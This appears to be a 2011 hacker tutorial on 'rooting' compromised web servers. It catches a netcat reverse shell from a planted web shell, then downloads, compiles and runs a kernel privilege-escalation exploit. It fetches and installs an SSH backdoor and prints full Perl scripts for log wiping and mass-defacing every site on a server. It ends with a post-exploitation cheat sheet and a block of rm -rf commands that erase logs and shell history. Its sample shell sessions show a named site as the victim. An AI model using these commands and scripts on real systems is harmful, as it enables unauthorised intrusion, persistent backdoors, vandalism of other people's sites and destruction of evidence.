=> A Brain
=> Get these from Google ;) lolz
# What is rooting ?
A. Getting access to the user => "root", the main admin of the site.
# What is the need of rooting ?
A. Getting Juicy info :)
Now I begin,
# Getting Backconnection to the server-
=> Copy the Netcat directory to C:\
=> Open command prompt, type: CD C:\NETCAT
It'll look like this:
[code]
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Ash>cd c:\netcat
c:\netcat>
[/code]
=> Now Type: nc -l -v -p 2121
It'll look like-
[code]
c:\netcat>nc -l -v -p 2121
listening on [any] 2121 ...
-1-

[/code]
=> Open your Shell in your browser, go to the backconnection tab, if it is not there get a
shell like "B374k" or Any other
thats your choice.
=> Specify your ip & port as 2121. press connect, now you'll get a shell to the server, you
can give commands to the server through that shell.
# Getting a Right exploit for the server-
=> Type : Uname -a & hit enter.
It'll look something like this:
[code]
[admin@www.saijyotishvani.com /home/saijyoti/public_html/cgi-bin]$ uname -a
Linux dualxeon09.ns5.999servers.com 2.6.18-194.26.1.el5 #1 SMP Tue Nov 9 12:54:20 EST 2010
x86_64 x86_64 x86_64 GNU/Linux
[/code]
=> It shows the kernal version of the server is: 2.6.18-194.26.1.el5
& Year is 2010.
=> You need to find a perfect exploit for it. you can find them at-
# Exploit-db.com
# Packetstormsecurity.org
# Th3-0utl4ws.com
# Leetupload.com
# Compiling & executing exploit-
=> Now I've got a exploit, & it is written in C. So I can't execute it by just uploading.
but I need to compile it.
=> Before proceeding further, Cd into the tmp directory, coz it is always writable. So type:
Cd /home/XXXXX/public_html/tmp
// The path can be different, replace it with yours.
=> So first I'll get the exploit on the server, So I type : Wget
http://exploitsite.net/2010-exploits/exploit.c
// Note: There is no such site, I'm just taking it to show you.
It'll look something Like this-
[code]
[admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ wget
http://exploitsite.net/2010-exploits/exploit.c
--2011-01-25 08:21:43-- http://exploitsite.net/2010-exploits/exploit.c
Resolving www.exploitsite.net... 199.58.192.192
Connecting to www.exploitsite.net|199.58.192.192|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 15088 (15K) [text/x-csrc]
Saving to: `exploit.c'
0K .......... .... 100% 189K=0.08s
2011-01-25 08:21:44 (189 KB/s) - `exploit.c' saved [15088/15088]
[/code]
-2-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
=> now change the permission of the exploit to 777.
Type: Chmod 777 exploit.c
It may look like:
[code]
[admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ chmod 777 ImpelDown.c
[/code]
=> Now the exploit is On my server, I just need to compile & execute it.
So, I'll give the command: gcc -o exploit exploit.c
It'll compile & save the exploit as => exploit
It may look like-
[code]
[admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ gcc -o exploit exploit.c
[/code]
=> Next step is to execute it So we'll type: ./exploit
It may look like:
[code]
[admin@www.saijyotishvani.com /home/saijyoti/public_html/tmp]$ gcc -o ImpelDown.c
got root you m0f0 !!
[/code]
=> Now it say got root. Let's Check is it true,
Type: id
It may look like
[code]
uid=0(saijyoti) gid=0(saijyoti) groups=0(root)
[/code]
=> Which Means I got root :)
# Installing Backdoor-
=> type- Wget urlofbackdoor.com/sshdoor.zip
=> Then Type,
Unzip Sshdoor.zip
=> Then type, ./run pass port
^ replace pass with your password, & a port.
=> Now connect with putty & enjoy root privileges. ;)
##################################################################################
=> Methods to execute exploits written in other languages-
-3-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
#C exploitgcc
-o exploit exploit.c
chmod +x exploit
./exploit
#Perlperl
exploit.pl
#pythonpython
exploit.py
#phpphp
exploit.php
#zip
unzip exploit.zip
./run
##################################################################################
=> Cleaning Logs-
# you can use my log cleaner to clear your track :D. It is written in perl. save it as
anything.pl
& to execute type: perl anything.pl
here is the code-
[perl]
#!usr/bin/perl -w #Warnings enabled!
#Log cleaner version Public
#Give Credits Where Needed - Kouros!
#This took time, Hope you fucking use it :D
#Report bugs to info@Kouros-bl4ckhat.com
#NOTE - YOU MUST BE ROOT!
print qq^
####################################
# Log Cleaner 3.0 PUBLIC #
# Kouros #
# #
# Virangar Security Team #
# http://www.Kouros-bl4ckhat.com #
####################################
^;
while(1) {
print "Enter Which OS: "; #User Input
chomp($os = <STDIN>); #Takes it into memory
if($os eq "help"){
-4-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
print "[+]Enter Your OS! Choose from 'linux', 'aix', 'sunos', 'irix'\n";
print "[+]Hit enter with OS, Let the script do its work\n";
print "[+]Note: You MUST Be Root!\n";
print "[+]Contact Info[at]Kouros-bl4ckhat [dot] Com";
print "[+]For Bug finds... Have Fun!\n";
print "[+] - Kouros";
}
if($os eq "linux"){ #If linux typed, do the following and start brackets
foreach my $logphile(@linux) {
unlink($logphile) || print "[-]Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "sunos"){ #If sunos typed, do the following and start brackets
foreach my $logphile(@sunos) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "aix"){ #If aix typed, do the following and start brackets
foreach my $logphile(@aix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} elsif($os eq "irix"){ #If irix typed, do the following and start bracket
foreach my $logphile(@irix) {
unlink($logphile) || print "[-] Fucked up: \"$logphile\" : $!\n";
}
} else { print"Umm WTF !?\n"; }
#Logs of Irix Systems
{ #Start Irix Bracket
@irix = ("/var/adm/SYSLOG", "/var/adm/sulog", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/wtmp", "/var/adm/wtmpx", "/var/adm/lastlog/",
"/usr/spool/lp/log", "/var/adm/lp/lp-errs", "/usr/lib/cron/log",
"/var/adm/loginlog", "/var/adm/pacct", "/var/adm/dtmp",
"/var/adm/acct/sum/loginlog", "var/adm/X0msgs", "/var/adm/crash/vmcore",
"/var/adm/crash/unix") #End Array
} #End Irix Bracket
#Log sof Aix Systems
{ #Start Aix Bracket
@aix = ("/var/adm/pacct", "/var/adm/wtmp", "/var/adm/dtmp", "/var/adm/qacct",
"/var/adm/sulog", "/var/adm/ras/errlog", "/var/adm/ras/bootlog",
"/var/adm/cron/log", "/etc/utmp", "/etc/security/lastlog",
"/etc/security/failedlogin", "usr/spool/mqueue/syslog") #End Array
} #End Aix Bracket
#Logs of SunOS Systems
{ #Start SunOS Bracket
@sunos = ("/var/adm/messages", "/var/adm/aculogs", "/var/adm/aculog",
"/var/adm/sulog", "/var/adm/vold.log", "/var/adm/wtmp",
"/var/adm/wtmpx", "/var/adm/utmp", "/var/adm/utmpx",
"/var/adm/log/asppp.log", "/var/log/syslog",
"/var/log/POPlog", "/var/log/authlog", "/var/adm/pacct",
"/var/lp/logs/lpsched", "/var/lp/logs/requests",
"/var/cron/logs", "/var/saf/_log", "/var/saf/port/log") #End Array
} #End Sunos bracket
#Logs of Linux Systems
-5-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
{ #Start Linux Bracket
@linux = ("/var/log/lastlog", "/var/log/telnetd", "/var/run/utmp",
"/var/log/secure","/root/.ksh_history", "/root/.bash_history",
"/root/.bash_logut", "/var/log/wtmp", "/etc/wtmp",
"/var/run/utmp", "/etc/utmp", "/var/log", "/var/adm",
"/var/apache/log", "/var/apache/logs", "/usr/local/apache/logs",
"/usr/local/apache/logs", "/var/log/acct", "/var/log/xferlog",
"/var/log/messages/", "/var/log/proftpd/xferlog.legacy",
"/var/log/proftpd.xferlog", "/var/log/proftpd.access_log",
"/var/log/httpd/error_log", "/var/log/httpsd/ssl_log",
"/var/log/httpsd/ssl.access_log", "/etc/mail/access",
"/var/log/qmail", "/var/log/smtpd", "/var/log/samba",
"/var/log/samba.log.%m", "/var/lock/samba", "/root/.Xauthority",
"/var/log/poplog", "/var/log/news.all", "/var/log/spooler",
"/var/log/news", "/var/log/news/news", "/var/log/news/news.all",
"/var/log/news/news.crit", "/var/log/news/news.err",
"/var/log/news/news.notice",
"/var/log/news/suck.err", "/var/log/news/suck.notice",
"/var/spool/tmp", "/var/spool/errors", "/var/spool/logs", "/var/spool/locks",
"/usr/local/www/logs/thttpd_log", "/var/log/thttpd_log",
"/var/log/ncftpd/misclog.txt", "/var/log/nctfpd.errs",
"/var/log/auth") #End array
} #End linux bracket
} #Ends Loop
[/perl]
##################################################################################
=> Mass deface- I've a perl to mass deface sites on the server. execute it as the same way
as above.
[perl]
# MSRml V 0.1 #
# #
# MOROCCO.SECURITY.RULZ mass defacer and log eraser #
# #
# coded by PRI[ll #
# #
# !!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!!!PRIV8!!!! #
# #
# 05/07/2005 #
# #
-6-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
# usage : perl MSRml.pl <path to index> #
# #
# example : perl MSRml.pl /tmp/index.html #
# #
# the_r00t3r@hotmail.com #
#!/usr/bin/perl
use strict;
my $index = $ARGV[0];
if ($ARGV[0])
{
if( -e $index )
{
system "echo -e "33[01;34mStarted MSRml V0.1 by PRI[ll Ok !!33[01;37m"n";
system "echo -e "\033[01;37mDefacing all homepages ..."n";
system "find / -name "index*" -exec cp $index {} \;";
system "find / -name "main*" -exec cp $index {} \;";
system "find / -name "home*" -exec cp $index {} \;";
system "find / -name "default*" -exec cp $index {} \;";
system "echo -e "\033[01;37m[+] done ! all sites in this box are defaced !"n";
system "echo -e "\033[01;37m----------------------------------------------------------"n";
system "echo -e "\033[01;37mCleaning up logs ..."n";
system "echo -e "33[01;34m---------erasing default log files (too fast
=))---------33[01;37m"n";
if( -e "/var/log/lastlog" )
{
system 'rm -rf /var/log/lastlog';
system "echo -e "\033[01;37m [*]/var/log/lastlog -erased Ok"n";
}
-7-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
else
{
system "echo -e "\033[01;31m[*]/var/log/lastlog - No such file or directory\033[01;37m"n";
}
if( -e "/var/log/wtmp" )
{
system 'rm -rf /var/log/wtmp';
system "echo -e "\033[01;37m [*]/var/log/wtmp -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/log/wtmp - No such file or directory\033[01;37m"n";
}
if( -e "/etc/wtmp" )
{
system 'rm -rf /etc/wtmp';
system "echo -e "\033[01;37m [*]/etc/wtmp -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/etc/wtmp - No such file or directory\033[01;37m"n";
}
if( -e "/var/run/utmp" )
{
system 'rm -rf /var/run/utmp';
system "echo -e "\033[01;37m [*]/var/run/utmp -erased Ok"n";
}
else
-8-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
{
system "echo -e "\033[01;31m[*]/var/run/utmp - No such file or directory\033[01;37m"n";
}
if( -e "/etc/utmp" )
{
system 'rm -rf /etc/utmp';
system "echo -e "\033[01;37m [*]/etc/utmp -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/etc/utmp - No such file or directory\033[01;37m"n";
}
if( -e "/var/log" )
{
system 'rm -rf /var/log';
system "echo -e "\033[01;37m [*]/var/log -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/log - No such file or directory\033[01;37m"n";
}
if( -e "/var/logs" )
{
system 'rm -rf /var/logs';
system "echo -e "\033[01;37m [*]/var/logs -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/logs - No such file or directory\033[01;37m"n";
-9-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
}
if( -e "/var/adm" )
{
system 'rm -rf /var/adm';
system "echo -e "\033[01;37m [*]/var/adm -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/adm - No such file or directory\033[01;37m"n";
}
if( -e "/var/apache/log" )
{
system 'rm -rf /var/apache/log';
system "echo -e "\033[01;37m [*]/var/apache/log -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/apache/log - No such file or directory\033[01;37m"n";
}
if( -e "/var/apache/logs" )
{
system 'rm -rf /var/apache/logs';
system "echo -e "\033[01;37m [*]/var/apache/logs -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/var/apache/logs - No such file or directory\033[01;37m"n";
}
-10-
C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
if( -e "/usr/local/apache/log" )
{
system 'rm -rf /usr/local/apache/log';
system "echo -e "\033[01;37m [*]/usr/local/apache/log -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/usr/local/apache/log - No such file or
directory\033[01;37m"n";
}
if( -e "/usr/local/apache/logs" )
{
system 'rm -rf /usr/local/apache/logs';
system "echo -e "\033[01;37m [*]/usr/local/apache/logs -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/usr/local/apache/logs - No such file or
directory\033[01;37m"n";
}
if( -e "/root/.bash_history" )
{
system 'rm -rf /root/.bash_history';
system "echo -e "\033[01;37m [*]/root/.bash_history -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/root/.bash_history - No such file or directory\033[01;37m"n";
}
if( -e "/root/.ksh_history" )
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{
system 'rm -rf /root/.ksh_history';
system "echo -e "\033[01;37m [*]/root/.ksh_history -erased Ok"n";
}
else
{
system "echo -e "\033[01;31m[*]/root/.ksh_history - No such file or directory\033[01;37m"n";
}
system "echo -e "\033[01;37m[+] -----done all default log and bash_history files erased !!"n";
system "echo -e "33[01;34m---------Now Erasing the rest of the machine log files (can be
long :S)---------33[01;37m"n";
system 'find / -name *.bash_history -exec rm -rf {} ;';
system "echo -e "\033[01;37m[*] all *.bash_history files -erased Ok!"n";
system 'find / -name *.bash_logout -exec rm -rf {} ;';
system "echo -e "\033[01;37m[*] all *.bash_logout files -erased Ok!"n";
system 'find / -name "log*" -exec rm -rf {} ;';
system "echo -e "\033[01;37m[*] all log* files -erased Ok!"n";
system 'find / -name *.log -exec rm -rf {} ;';
system "echo -e "\033[01;37m[*] all *.log files -erased Ok!"n";
system "echo -e "33[01;34m-------[+] !done all log files erased![+]-------33[01;37m"n";
system "echo -e "33[01;34m---------------------------------------------------33[01;37m"n";
system "echo -e "33[01;34m-----------------MSRml V 0.1----------------------33[01;37m"n";
}
else
{
system "echo -e "\033[01;31m[-] Failed ! the path to u're index could not be found
!\033[01;37m"n";
exit;
}
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C:\Users\Ash\Desktop\R00ting By Cyb3R ShubhaM.txt 25 January 2011 20:54
}
else
{
system "echo -e "\033[01;37m!!Morocco.Security.Rulz mass defacer and log eraser !!"n";
system "echo -e "\033[01;37m!!!!!!!!!!!!!!!!!!coded by PRI[ll!!!!!!!!!!!!!!!!!!!!!!!!"n";
system "echo -e
"\033[01;31m!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!PRIV8!!!!!!!!\033[01;37m"n";
system "echo -e "\033[01;37musage : perl $0 <path too u're index>"n";
system "echo -e "\033[01;37mexample : perl $0 /tmp/index.html"n";
exit;
}
[/code]
##################################################################################
=> Important Commands-
./../mainfile.php - Config file.
ls -la - Lists directory's.
ifconfig {eth0 etc} - Ipconfig equiv.
ps aux - Show running proccess's.
gcc in_file -o out_file - Compile c file.
cat /etc/passwd - List's accounts.
sudo - Superuser Do run a command as root provided you have perms
in /etc/sudoers.
id - Tells you what user your logged in as.
which wget curl w3m lynx - Check's to see what downloaders are
present.
uname -r - Shows all release info (or) cat /etc/release.
uname -a - Shows all kernal info (or) cat /etc/issue
last -30 - Last logged 30 ip's can change to desired number.
useradd - Create new user account.
usermod - Modify user account.
w - See who is currently logged on.
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locate password.txt - Locates password.txt in current dur can use *.
rm -rf / - Please be carefull with this command, i cannot stress this
enough.
arp -a - Lists other machines are on the same subnet.
lsattr -va - ls file attributes on linux second extended file system
find / -type f -perm -04000 -ls - Finds suid files.
find . -type f -perm -04000 -ls - Finds suid files in current dir.
find / -type f -perm -02000 -ls - Finds all sgid files.
find / -perm -2 -ls - Finds all writable files and folders.
find . -perm -2 -ls - Finds all writable files and folders in current dir.
find / -type f -name .bash_history - Finds bash history.
netstat -an | grep -i listen - shows open ports.
cut -d: -f1,2,3 /etc/passwd | grep :: - From memory creates a user
with no pass.
find /etc/ -type f -perm -o+w 2> /dev/null - Write in /etc/passwd?.
cat /proc/version /proc/cpuinfo - Cpu info.
locate gcc- Finds gcc if installed.
set - Display system variables.
echo $path- Echo current path.
lsmod- Dumps kernal modules.
mount/df- Check mounted file system.
rpm -qa- Check patch level for RedHat 7.0.
dmesg- Check hardware ino.
cat /etc/syslog.conf - Log file.
uptime - Uptime check.
cat /proc/meminfo - Memory check.
find / -type f -perm -4 -print 2> /dev/null- Find readble files.
find / -type f -perm -2 -print 2> /dev/null - Find writable files.
chmod ### $folder - Chmod folder.
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ls -l -b - Verbosly list directory's
-------------clear-logs-----------------
rm -rf /tmp/logs
rm -rf $HISTFILE
rm -rf /root/.ksh_history
rm -rf /root/.bash_history
rm -rf /root/.ksh_history
rm -rf /root/.bash_logout
rm -rf /usr/local/apache/logs
rm -rf /usr/local/apache/log
rm -rf /var/apache/logs
rm -rf /var/apache/log
rm -rf /var/run/utmp
rm -rf /var/logs
rm -rf /var/log
rm -rf /var/adm
rm -rf /etc/wtmp
rm -rf /etc/utmp
history -c
find / -name *.bash_history -exec rm -rf {} \;
find / -name *.bash_logout -exec rm -rf {} \;
find / -name "log*" -exec rm -rf {} \;
find / -name *.log -exec rm -rf {} \;
-------------------------------------------------
cat filename | more
^ Pipe large files through more for easy reading
ifconfig | grep Addr
^ Get the local Internet Protocol and Hardware address(s) for your machine
cat binary | awk "{print $5}"
^ Print a binary file out in hex
$(echo "HEAD / HTTP/1.0";echo "";echo "") | telnet host 80
^ Get the webserver type and identification
The best feature of bash is piping. Piping means threading the output of one
program to another. For example you can do ls | more to pipe the output of
ls to more and easily read the contents of large directories. You can also do
ls | grep myfile to find myfile in the current directory.
cd /;find | grep goodfile
^ Search the entire FileSystem for a file called goodfile
su -x "command"
^ Run a command as root
sudo command
^ Run a command as a su-uid user
chmod a+rwx file
^ Change the permissions of a file and make it executable, readable, and writable to all users
rm removes a file only if the user deleting it has permissions to that file.
rm -f removes a file forcibly (permissions still apply).
rm -rf recursively and forcefully remove a directory. You should know about permissions by
now.
##################################################################################


This is the end of my this paper, Hope you enjoyed it. :)
# Greetz- C00lt04d,Cyb3Rgr00f,Cyb3Rs4m,Bad Man,h4ck0lic,Reborn, 3thicaln00b,Br0wnSug4r & All
my friends. ;)
## References ##
# Indishell.in
# Academy Of Hacking- http://www.orkut.co.in/Community?cmm=43323325
# Google :)
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